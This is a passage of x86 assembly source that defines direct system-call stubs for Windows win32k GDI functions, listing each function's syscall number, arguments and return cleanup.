, arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4238 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiExcludeClipRect ENDP ; ULONG __stdcall NtGdiExtCreatePen( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiExtCreatePen PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4239 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiExtCreatePen ENDP ; ULONG __stdcall NtGdiExtCreateRegion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiExtCreateRegion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4240 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiExtCreateRegion ENDP ; ULONG __stdcall NtGdiExtEscape( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiExtEscape PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4241 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiExtEscape ENDP ; ULONG __stdcall NtGdiExtFloodFill( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiExtFloodFill PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4242 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiExtFloodFill ENDP ; ULONG __stdcall NtGdiExtGetObjectW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiExtGetObjectW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4243 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiExtGetObjectW ENDP ; ULONG __stdcall NtGdiExtSelectClipRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiExtSelectClipRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4244 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiExtSelectClipRgn ENDP ; ULONG __stdcall NtGdiExtTextOutW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 ); NtGdiExtTextOutW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD mov eax , 4245 mov edx , 7FFE0300h call dword ptr [edx] ret 36 NtGdiExtTextOutW ENDP ; ULONG __stdcall NtGdiFillPath( ULONG arg_01 ); NtGdiFillPath PROC STDCALL arg_01:DWORD mov eax , 4246 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiFillPath ENDP ; ULONG __stdcall NtGdiFillRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiFillRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4247 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiFillRgn ENDP ; ULONG __stdcall NtGdiFlattenPath( ULONG arg_01 ); NtGdiFlattenPath PROC STDCALL arg_01:DWORD mov eax , 4248 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiFlattenPath ENDP ; ULONG __stdcall NtGdiFlush( ); NtGdiFlush PROC STDCALL mov eax , 4249 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiFlush ENDP ; ULONG __stdcall NtGdiForceUFIMapping( ULONG arg_01 , ULONG arg_02 ); NtGdiForceUFIMapping PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4250 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiForceUFIMapping ENDP ; ULONG __stdcall NtGdiFrameRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiFrameRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4251 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiFrameRgn ENDP ; ULONG __stdcall NtGdiFullscreenControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiFullscreenControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4252 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiFullscreenControl ENDP ; ULONG __stdcall NtGdiGetAndSetDCDword( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiGetAndSetDCDword PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4253 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiGetAndSetDCDword ENDP ; ULONG __stdcall NtGdiGetAppClipBox( ULONG arg_01 , ULONG arg_02 ); NtGdiGetAppClipBox PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4254 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetAppClipBox ENDP ; ULONG __stdcall NtGdiGetBitmapBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetBitmapBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4255 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetBitmapBits ENDP ; ULONG __stdcall NtGdiGetBitmapDimension( ULONG arg_01 , ULONG arg_02 ); NtGdiGetBitmapDimension PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4256 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetBitmapDimension ENDP ; ULONG __stdcall NtGdiGetBoundsRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetBoundsRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4257 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetBoundsRect ENDP ; ULONG __stdcall NtGdiGetCertificate( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiGetCertificate PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4258 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiGetCertificate ENDP ; ULONG __stdcall NtGdiGetCertificateSize( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetCertificateSize PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4259 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetCertificateSize ENDP ; ULONG __stdcall NtGdiGetCharABCWidthsW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiGetCharABCWidthsW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4260 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiGetCharABCWidthsW ENDP ; ULONG __stdcall NtGdiGetCharacterPlacementW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiGetCharacterPlacementW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4261 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiGetCharacterPlacementW ENDP ; ULONG __stdcall NtGdiGetCharSet( ULONG arg_01 ); NtGdiGetCharSet PROC STDCALL arg_01:DWORD mov eax , 4262 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiGetCharSet ENDP ; ULONG __stdcall NtGdiGetCharWidthW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiGetCharWidthW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4263 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiGetCharWidthW ENDP ; ULONG __stdcall NtGdiGetCharWidthInfo( ULONG arg_01 , ULONG arg_02 ); NtGdiGetCharWidthInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4264 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetCharWidthInfo ENDP ; ULONG __stdcall NtGdiGetColorAdjustment( ULONG arg_01 , ULONG arg_02 ); NtGdiGetColorAdjustment PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4265 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetColorAdjustment ENDP ; ULONG __stdcall NtGdiGetColorSpaceforBitmap( ULONG arg_01 ); NtGdiGetColorSpaceforBitmap PROC STDCALL arg_01:DWORD mov eax , 4266 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiGetColorSpaceforBitmap ENDP ; ULONG __stdcall NtGdiGetCOPPCompatibleOPMInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetCOPPCompatibleOPMInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4267 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetCOPPCompatibleOPMInformation ENDP ; ULONG __stdcall NtGdiGetDCDword( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetDCDword PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4268 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetDCDword ENDP ; ULONG __stdcall NtGdiGetDCforBitmap( ULONG arg_01 ); NtGdiGetDCforBitmap PROC STDCALL arg_01:DWORD mov eax , 4269 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiGetDCforBitmap ENDP ; ULONG __stdcall NtGdiGetDCObject( ULONG arg_01 , ULONG arg_02 ); NtGdiGetDCObject PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4270 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetDCObject ENDP ; ULONG __stdcall NtGdiGetDCPoint( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetDCPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4271 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetDCPoint ENDP ; ULONG __stdcall NtGdiGetDeviceCaps( ULONG arg_01 , ULONG arg_02 ); NtGdiGetDeviceCaps PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4272 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetDeviceCaps ENDP ; ULONG __stdcall NtGdiGetDeviceGammaRamp( ULONG arg_01 , ULONG arg_02 ); NtGdiGetDeviceGammaRamp PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4273 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetDeviceGammaRamp ENDP ; ULONG __stdcall NtGdiGetDeviceCapsAll( ULONG arg_01 , ULONG arg_02 ); NtGdiGetDeviceCapsAll PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4274 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetDeviceCapsAll ENDP ; ULONG __stdcall NtGdiGetDIBitsInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 ); NtGdiGetDIBitsInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD mov eax , 4275 mov edx , 7FFE0300h call dword ptr [edx] ret 36 NtGdiGetDIBitsInternal ENDP ; ULONG __stdcall NtGdiGetETM( ULONG arg_01 , ULONG arg_02 ); NtGdiGetETM PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4276 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetETM ENDP ; ULONG __stdcall NtGdiGetEudcTimeStampEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetEudcTimeStampEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4277 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetEudcTimeStampEx ENDP ; ULONG __stdcall NtGdiGetFontData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiGetFontData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4278 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiGetFontData ENDP ; ULONG __stdcall NtGdiGetFontFileData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiGetFontFileData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4279 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiGetFontFileData ENDP ; ULONG __stdcall NtGdiGetFontFileInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiGetFontFileInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4280 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiGetFontFileInfo ENDP ; ULONG __stdcall NtGdiGetFontResourceInfoInternalW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiGetFontResourceInfoInternalW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4281 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiGetFontResourceInfoInternalW ENDP ; ULONG __stdcall NtGdiGetGlyphIndicesW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiGetGlyphIndicesW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4282 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiGetGlyphIndicesW ENDP ; ULONG __stdcall NtGdiGetGlyphIndicesWInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiGetGlyphIndicesWInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4283 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiGetGlyphIndicesWInternal ENDP ; ULONG __stdcall NtGdiGetGlyphOutline( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiGetGlyphOutline PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4284 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiGetGlyphOutline ENDP ; ULONG __stdcall NtGdiGetOPMInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetOPMInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4285 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetOPMInformation ENDP ; ULONG __stdcall NtGdiGetKerningPairs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetKerningPairs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4286 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetKerningPairs ENDP ; ULONG __stdcall NtGdiGetLinkedUFIs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetLinkedUFIs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4287 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetLinkedUFIs ENDP ; ULONG __stdcall NtGdiGetMiterLimit( ULONG arg_01 , ULONG arg_02 ); NtGdiGetMiterLimit PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4288 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetMiterLimit ENDP ; ULONG __stdcall NtGdiGetMonitorID( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetMonitorID PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4289 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetMonitorID ENDP ; ULONG __stdcall NtGdiGetNearestColor( ULONG arg_01 , ULONG arg_02 ); NtGdiGetNearestColor PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4290 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetNearestColor ENDP ; ULONG __stdcall NtGdiGetNearestPaletteIndex( ULONG arg_01 , ULONG arg_02 ); NtGdiGetNearestPaletteIndex PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4291 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetNearestPaletteIndex ENDP ; ULONG __stdcall NtGdiGetObjectBitmapHandle( ULONG arg_01 , ULONG arg_02 ); NtGdiGetObjectBitmapHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4292 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetObjectBitmapHandle ENDP ; ULONG __stdcall NtGdiGetOPMRandomNumber( ULONG arg_01 , ULONG arg_02 ); NtGdiGetOPMRandomNumber PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4293 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetOPMRandomNumber ENDP ; ULONG __stdcall NtGdiGetOutlineTextMetricsInternalW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiGetOutlineTextMetricsInternalW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4294 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiGetOutlineTextMetricsInternalW ENDP ; ULONG __stdcall NtGdiGetPath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiGetPath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4295 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiGetPath ENDP ; ULONG __stdcall NtGdiGetPixel( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetPixel PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4296 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetPixel ENDP ; ULONG __stdcall NtGdiGetRandomRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetRandomRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4297 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetRandomRgn ENDP ; ULONG __stdcall NtGdiGetRasterizerCaps( ULONG arg_01 , ULONG arg_02 ); NtGdiGetRasterizerCaps PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4298 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetRasterizerCaps ENDP ; ULONG __stdcall NtGdiGetRealizationInfo( ULONG arg_01 , ULONG arg_02 ); NtGdiGetRealizationInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4299 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetRealizationInfo ENDP ; ULONG __stdcall NtGdiGetRegionData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetRegionData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4300 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetRegionData ENDP ; ULONG __stdcall NtGdiGetRgnBox( ULONG arg_01 , ULONG arg_02 ); NtGdiGetRgnBox PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4301 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetRgnBox ENDP ; ULONG __stdcall NtGdiGetServerMetaFileBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiGetServerMetaFileBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4302 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiGetServerMetaFileBits ENDP ; ULONG __stdcall DxgStubDvpUpdateVideoPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); DxgStubDvpUpdateVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4303 mov edx , 7FFE0300h call dword ptr [edx] ret 16 DxgStubDvpUpdateVideoPort ENDP ; ULONG __stdcall NtGdiGetStats( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiGetStats PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4304 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiGetStats ENDP ; ULONG __stdcall NtGdiGetStockObject( ULONG arg_01 ); NtGdiGetStockObject PROC STDCALL arg_01:DWORD mov eax , 4305 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiGetStockObject ENDP ; ULONG __stdcall NtGdiGetStringBitmapW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiGetStringBitmapW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4306 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiGetStringBitmapW ENDP ; ULONG __stdcall NtGdiGetSuggestedOPMProtectedOutputArraySize( ULONG arg_01 , ULONG arg_02 ); NtGdiGetSuggestedOPMProtectedOutputArraySize PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4307 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetSuggestedOPMProtectedOutputArraySize ENDP ; ULONG __stdcall NtGdiGetSystemPaletteUse( ULONG arg_01 ); NtGdiGetSystemPaletteUse PROC STDCALL arg_01:DWORD mov eax , 4308 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiGetSystemPaletteUse ENDP ; ULONG __stdcall NtGdiGetTextCharsetInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetTextCharsetInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4309 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetTextCharsetInfo ENDP ; ULONG __stdcall NtGdiGetTextExtent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiGetTextExtent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4310 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiGetTextExtent ENDP ; ULONG __stdcall NtGdiGetTextExtentExW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiGetTextExtentExW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4311 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiGetTextExtentExW ENDP ; ULONG __stdcall NtGdiGetTextFaceW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiGetTextFaceW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4312 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiGetTextFaceW ENDP ; ULONG __stdcall NtGdiGetTextMetricsW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetTextMetricsW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4313 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetTextMetricsW ENDP ; ULONG __stdcall NtGdiGetTransform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4314 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetTransform ENDP ; ULONG __stdcall NtGdiGetUFI( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiGetUFI PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4315 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiGetUFI ENDP ; ULONG __stdcall NtGdiGetEmbUFI( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiGetEmbUFI PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4316 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiGetEmbUFI ENDP ; ULONG __stdcall NtGdiGetUFIPathname( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 ); NtGdiGetUFIPathname PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD mov eax , 4317 mov edx , 7FFE0300h call dword ptr [edx] ret 40 NtGdiGetUFIPathname ENDP ; ULONG __stdcall NtGdiGetEmbedFonts( ); NtGdiGetEmbedFonts PROC STDCALL mov eax , 4318 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiGetEmbedFonts ENDP ; ULONG __stdcall NtGdiChangeGhostFont( ULONG arg_01 , ULONG arg_02 ); NtGdiChangeGhostFont PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4319 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiChangeGhostFont ENDP ; ULONG __stdcall NtGdiAddEmbFontToDC( ULONG arg_01 , ULONG arg_02 ); NtGdiAddEmbFontToDC PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4320 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiAddEmbFontToDC ENDP ; ULONG __stdcall NtGdiGetFontUnicodeRanges( ULONG arg_01 , ULONG arg_02 ); NtGdiGetFontUnicodeRanges PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4321 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetFontUnicodeRanges ENDP ; ULONG __stdcall NtGdiGetWidthTable( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiGetWidthTable PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4322 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiGetWidthTable ENDP ; ULONG __stdcall NtGdiGradientFill( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiGradientFill PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 